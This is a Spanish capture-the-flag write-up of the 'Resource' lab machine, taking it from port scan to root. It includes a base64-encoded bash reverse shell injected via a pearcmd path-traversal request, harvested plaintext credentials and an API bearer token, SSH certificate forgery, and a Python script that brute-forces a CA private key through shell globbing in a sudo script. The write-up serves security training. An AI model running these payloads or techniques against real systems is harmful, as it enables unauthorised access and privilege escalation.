Resource
OS: Linux
Dificultad: Difícil
Puntos: 40
Nmap
nmap -v -p- --min-rate=5000 10.129.194.23
nmap -p 22,80,2222 -sV -sC -oN nmap.txt 10.129.194.23
Nmap scan report for 10.129.194.23
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Despues de enumerar un poco la pagina encontramos un endpoint llamado api, realizamos fuerza bruta y nos devuelve admin.php.
┌──(root㉿kali)-[~/Resource]
└─# gobuster dir -u http://itrc.ssg.htb/api/ -w /usr/share/wordlists/dirb/big.txt -x php -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://itrc.ssg.htb/api/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/admin.php (Status: 500) [Size: 0]
/login.php (Status: 302) [Size: 0] [--> /]
/register.php (Status: 302) [Size: 0] [--> /]
Se puede acceder al portal de admin de la siguiente forma.
http://itrc.ssg.htb/?page=admin
ThinkPHP RCE
Intentando multiples cosas llegamos al siguiente exploit que nos permite obtener RCE.
https://github.com/Mr-xn/thinkphp_lang_RCE
Primero creamos nuestro payload.
┌──(root㉿kali)-[~/Resource]
└─# echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.23/1234 0>&1'" | base64
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIzLzEyMzQgMD4mMScK
Enviamos el payload, es recomendable utilizar BurpSuite para enviar la request.
http://itrc.ssg.htb/?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIzLzEyMzQgMD4mMScK"));?>+/tmp/doom.php
Por ultimo consultamos nuestro archivo.
http://itrc.ssg.htb/?page=../../../../../../../../tmp/doom
Obtenemos reverse shell.
Lateral Movement
En el directorio uploads encontramos archivos zip y un en especifico tienes mas informacion que los otros.
www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1176
drwxrwxr-x 1 www-data www-data 4096 Aug 6 09:23 .
drwxr-xr-x 1 www-data www-data 4096 Feb 19 18:13 ..
-rw-r--r-- 1 www-data www-data 162 Jul 25 11:30 21de93259c8a45dd2223355515f1ee70d8763c8a.zip
-rw-r--r-- 1 www-data www-data 162 Jul 25 12:48 88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip
-rw-r--r-- 1 www-data www-data 162 Jul 25 11:28 b829beac87ea0757d7d3432edeac36c6542f46c4.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb 6 21:38 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data 634 Feb 6 21:46 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data 275 Feb 6 21:42 eb65074fe37671509f24d1652a44944be61e4360.zip
Lo descargamos a nuestra maquina.
┌──(root㉿kali)-[~/Resource]
└─# curl http://itrc.ssg.htb/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip -o test.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1135k 100 1135k 0 0 2978k 0 --:--:-- --:--:-- --:--:-- 2971k
Descomprimimos el archivo.
┌──(root㉿kali)-[~/Resource]
└─# unzip test.zip
Archive: test.zip
inflating: itrc.ssg.htb.har
Este archivo contiene mucha informacion por lo tanto usamos grep para identificar algun usuario y obtenemos lo siguiente.
┌──(root㉿kali)-[~/Resource]
└─# cat itrc.ssg.htb.har | grep user
"text": "user=msainristil&pass=82yards2closeit",
"name": "user",
Estas credenciales las podemos usar para conectarnos por SSH.
┌──(root㉿kali)-[~/Resource]
└─# ssh msainristil@10.129.115.179
msainristil@10.129.115.179's password:
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 6 09:50:16 2024 from 10.10.14.23
msainristil@itrc:~$
SSH Certificate-Based Authentication
Encontramos un par de archivos cert en el siguiente directorio.
msainristil@itrc:~/decommission_old_ca$ ls
ca-itrc ca-itrc.pub
Despues de investigar es posible usar esos certificados para conectarnos por SSH.
https://www.sidechannel.blog/en/configuring-ssh-certificate-based-authentication/
Primero creamos un par de llaves RSA.
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:84liCQmFkKls919ufJ8wTlyZxuUMddDwx6Epcntakrc msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|.+ .. o*.|
|o .. +o+|
|o . . o + .+|
|.o o . o = B .|
|. . + S + X o |
| o . =..O . |
| = = o* E |
| . o +o.o . |
| . ...o |
+----[SHA256]-----+
Despues firmamos el certificado.
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I user-cert -n zzinter -V +52w -z 12345 keypair.pub
Signed user key keypair-cert.pub: id "user-cert" serial 12345 for zzinter valid from 2024-08-06T10:18:00 to 2025-08-05T10:19:09
Por ultimo nos conectamos por SSH.
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:PVHxOqGsN7oX50zMsl/3O2BPQ3u50UhffyNeJZuo2K4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
zzinter@itrc:~$
Tambien podemos hacer lo mismo para el usuario root.
ssh-keygen -t rsa -b 2048 -f rootkey
ssh-keygen -s ca-itrc -I user-cert -n root -V +52w -z 12345 rootkey.pub
ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@ssg
Privilege Escalation
En el directorio de zzinter encontramos el script sign_key_api.sh.
zzinter@itrc:~$ ls -la
total 32
drwx------ 1 zzinter zzinter 4096 Aug 6 12:59 .
drwxr-xr-x 1 root root 4096 Jul 23 14:22 ..
lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root root 1193 Feb 19 16:43 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Aug 6 07:48 user.txt
Lo mas importante del archivo es lo siguiente.
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Con esto podemos realizar la accion similar de firmar la llave para conectarnos por SSH al puerto 2222.
Primero generamos nuestro par de llaves.
┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -t rsa -b 2048 -f supportkey
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in supportkey
Your public key has been saved in supportkey.pub
The key fingerprint is:
SHA256:QYD9RYFzMiabMOhqwge+OfTigJXjm0QOrKfASvHrdN4 root@kali
The key's randomart image is:
+---[RSA 2048]----+
| . o...oo. |
| . + o.* o |
| . o *.* |
|.... o .. |
|++* S |
|*@oo |
|OoXo . |
|=O.++ . |
|+.*o . E |
+----[SHA256]-----+
Ahora firmamos nuestra llave publica.
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nyy0pOciVcK4CU5NK4HLvj9G7cKzQ5sYFjnPi2CAiTNx05FebpN46qMyLoM4PgPAujKb3IWFgezjjfXllq97XUBmRfgeeBdoXUWvDJvac9kpFpfhLDSukkiRM4Nlfob19qppy0CnaYmvM2AQkog0kezGQi2PhyJ6Rl923dKRxTqEj89Hrh2mtw75xKYpmrK6oFkUXdj7Ue7qCRC9MDNmcqTop94h3ySUVoHOTULjuzBKGDc2je465xw/bUQX3tzXj7CPgeBO8o9pHigdNt6urp1PHl7Y5XBnJkhr47GWYxMn+Jy+BIF+TzGct2pzZrdXoiztCUXDeDzQM5tF7XWf", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > support-cert.pub
Una vez hecho lo anterior nos conectamos por ssh.
┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=support-cert.pub -i supportkey support@10.129.115.179
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
Last login: Tue Aug 6 12:51:25 2024 from 10.10.14.23
support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
support@ssg:~$
En el directorio /etc/ssh/auth_principals encontramos archivos que nos dicen el principal de cada usuario.
support@ssg:~$ ls -la /etc/ssh/auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb 8 12:16 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root 10 Feb 8 12:16 root
-rw-r--r-- 1 root root 18 Feb 8 12:16 support
-rw-r--r-- 1 root root 13 Feb 8 12:11 zzinter
support@ssg:~$ cat /etc/ssh/auth_principals/zzinter
zzinter_temp
support@ssg:~$ cat /etc/ssh/auth_principals/root
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/support
support
root_user
Creamos otro certificado pero ahora con el usuario zzinter.
┌──(root㉿kali)-[~/Resource]
└─# curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nyy0pOciVcK4CU5NK4HLvj9G7cKzQ5sYFjnPi2CAiTNx05FebpN46qMyLoM4PgPAujKb3IWFgezjjfXllq97XUBmRfgeeBdoXUWvDJvac9kpFpfhLDSukkiRM4Nlfob19qppy0CnaYmvM2AQkog0kezGQi2PhyJ6Rl923dKRxTqEj89Hrh2mtw75xKYpmrK6oFkUXdj7Ue7qCRC9MDNmcqTop94h3ySUVoHOTULjuzBKGDc2je465xw/bUQX3tzXj7CPgeBO8o9pHigdNt6urp1PHl7Y5XBnJkhr47GWYxMn+Jy+BIF+TzGct2pzZrdXoiztCUXDeDzQM5tF7XWf", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > zzinter-cert.pub
Nos conectamos por SSH.
┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=zzinter-cert.pub -i supportkey zzinter@10.129.115.179
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
Last login: Thu Jul 25 12:49:12 2024 from 10.10.14.23
zzinter@ssg:~$
Este usuario tiene privilegios sudo.
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Shell Globbing
Podemos aprovecharnos de la tecnica shell globbing para ir extrayendo el certificado.
https://insinuator.net/2014/12/revisiting-an-old-friend-shell-globbing/
Bash globbing es una característica del shell Bash que permite la expansión de patrones de nombres de archivos. Es una forma de hacer coincidir múltiples archivos usando caracteres especiales conocidos como metacaracteres.
La intención es abusar del comando que usa el script donde esta comparando el contenido de tu archivo ca con el archivo especifico ca-it. Se puede filtrar un caracter a la vez del archivo.
Usando el siguiente script podemos realizarlo.
import subprocess
import string
CA_PATH = '/tmp/ca-test'
SIGNING_SCRIPT = '/opt/sign_key.sh'
PUB_KEY = 'root.pub'
USER = 'root'
PRINCIPAL = 'root_user'
SERIAL = 'ABCD'
def run_signing_command(pattern):
with open(CA_PATH, 'wb') as f:
f.write(pattern.encode('utf-8'))
try:
result = subprocess.run(
['bash', '-c', f"echo -n '{pattern}' > {CA_PATH}; sudo {SIGNING_SCRIPT} {CA_PATH} {PUB_KEY} {USER} {PRINCIPAL} {SERIAL}"],
capture_output=True,
text=True
)
return result.stdout.strip(), result.stderr.strip()
except Exception as e:
print(f"Error running command: {e}")
return "", str(e)
def brute_force_patterns(base_pattern=''):
chars = string.ascii_letters + string.digits + '-+=/ \r\n'
while True:
found = False
for char in chars:
pattern = base_pattern + char + '*'
stdout, stderr = run_signing_command(pattern)
if "Error: Use API for signing with this CA." in stdout:
base_pattern += char
found = True
print(f"{base_pattern}")
break
if not found:
break
return pattern
if __name__ == '__main__':
ca_key = brute_force_patterns()
if "-----END OPENSSH PRIVATE KEY-----" in ca_key:
print("\n\nSuccess\n")
file = open("ca-it", "w")
file.write(ca_key)
file.close()
else:
exit("\n\nFail\n")
Ejecutamos el script, le tomara un rato conseguirlo.
zzinter@ssg:~$ python exploit.py
-
--
---
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
Success
Una vez que se obtenga el certificado creamos un par de llaves y las firmamos.
┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -f root-keypair
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root-keypair
Your public key has been saved in root-keypair.pub
The key fingerprint is:
SHA256:yVT6sJoV3u4mbJiBlp40Mk3N6ZofgqZC55n+mhjxsi0 root@kali
The key's randomart image is:
+--[ED25519 256]--+
| . |
| o |
| o .= |
| . ++ B |
| . o + S o |
| .=oB o+ . |
|.o=B+=+= . |
|.E*+*.o.+.. |
|ooo=oo.. o. |
+----[SHA256]-----+
┌──(root㉿kali)-[~/Resource]
└─# chmod 400 ca-it
┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -s ca-it -z 200 -I root -V -10w:forever -n root_user root-keypair.pub
Signed user key root-keypair-cert.pub: id "root" serial 200 for root_user valid after 2024-05-28T09:48:38
┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=root-keypair-cert.pub -i root-keypair root@10.129.203.142
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
Last login: Tue Jul 30 08:44:01 2024
root@ssg:~# cat root.txt
8985b0f2cb56cfc8d657eedc0286766e